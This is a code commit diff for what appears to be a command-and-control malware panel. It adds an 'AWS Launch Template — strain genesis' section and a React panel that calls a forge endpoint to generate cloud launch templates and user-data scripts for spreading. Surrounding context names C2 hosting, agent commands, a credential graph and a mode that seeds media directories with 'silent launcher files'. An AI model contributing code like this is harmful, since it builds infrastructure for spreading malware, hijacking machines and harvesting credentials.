Wire launch-template genesis auth route and spread UI.

server/web/public/spread/index.html

@@ -174,6 +174,12 @@
       </p>
     </section>
 
+    <section class="section" id="aws-launch-template">
+      <h2>AWS Launch Template — strain genesis</h2>
+      <p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
+      <p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
+    </section>
+
     <section class="section" id="cms">
       <h2>CMS &amp; static host upload</h2>
       <p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
@@ -288,6 +294,17 @@
         var btn = document.getElementById(primary);
         if (btn) btn.classList.add('primary');
       }
+      var ltBtn = document.getElementById('btn-lt-generate');
+      if (ltBtn) ltBtn.addEventListener('click', function () {
+        var p = new URLSearchParams(window.location.search || '');
+        fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
+          body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
+          .then(function (r) { return r.json(); }).then(function (resp) {
+            if (!resp.success) return;
+            var hint = document.getElementById('lt-genesis-hint');
+            if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
+          });
+      });
     })();
   </script>
 </body>

server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx

@@ -42,6 +42,10 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
   default: () => <div data-testid="spread-template-export" />,
 }));
 
+vi.mock('./LaunchTemplateExportPanel', () => ({
+  default: () => <div data-testid="launch-template-export" />,
+}));
+
 const listBuildsMock = vi.mocked(api.listBuilds);
 const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
 const sendWOLMock = vi.mocked(api.sendWOL);

server/web/src/components/Fleet/CrucibleExpandedOps.tsx

@@ -17,6 +17,7 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
 import FileManager from './FileManager';
 import ProtocolTunnelPanel from './ProtocolTunnelPanel';
 import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
+import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
 import CredentialGraphTable from './CredentialGraphTable';
 import ServiceGraphSummary from './ServiceGraphSummary';
 import './ProtocolTunnelPanel.css';
@@ -825,6 +826,10 @@ export default function CrucibleExpandedOps({
           <SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
         </CrucibleCollapsibleSection>
 
+        <CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
+          <LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
+        </CrucibleCollapsibleSection>
+
         <CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
           <p className="crucible-seek-blurb">
             Recursively seeds every media directory under the given path with silent launcher files.